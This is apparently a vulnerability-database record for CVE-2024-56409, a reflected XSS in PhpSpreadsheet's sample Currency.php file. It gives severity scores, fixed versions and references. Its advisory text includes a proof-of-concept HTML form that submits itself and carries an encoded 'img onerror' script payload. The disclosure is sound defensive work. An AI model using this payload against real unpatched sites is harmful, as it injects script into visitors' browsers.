{"id":"CVE-2024-56409","aliases":["GHSA-j2xg-cjcx-4677"],"url":"https://o3.security/vulnerability/CVE-2024-56409","summary":"PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file","details":"# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n![fig9](https://github.com/user-attachments/assets/dfac3fbf-de42-42af-8163-b76f0c54da6c)\n\n*Figure 9.  A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\">\n      <input type=\"hidden\" name=\"number\" value=\"1234&#46;5678\" />\n      <input type=\"hidden\" name=\"currency\" value=\"&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;\" />\n      <input type=\"hidden\" name=\"decimals\" value=\"2\" />\n      <input type=\"hidden\" name=\"position\" value=\"1\" />\n      <input type=\"hidden\" name=\"spacing\" value=\"0\" />\n      <input type=\"hidden\" name=\"submit\" value=\"Display&#32;Mask\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n<img width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" />\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","published":"2025-01-03T17:05:43.272Z","modified":"2026-10-28T02:30:48.005705090Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"3.7.0"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"1.29.7"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.1.6"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.3.5"},{"ecosystem":"Packagist","name":"phpoffice/phpexcel","fixedVersion":null}],"fix":{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","label":"PHPOffice/PhpSpreadsheet@700a803"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56409.json"},{"type":"ADVISORY","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56409"},{"type":"FIX","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:48.005705090Z"}}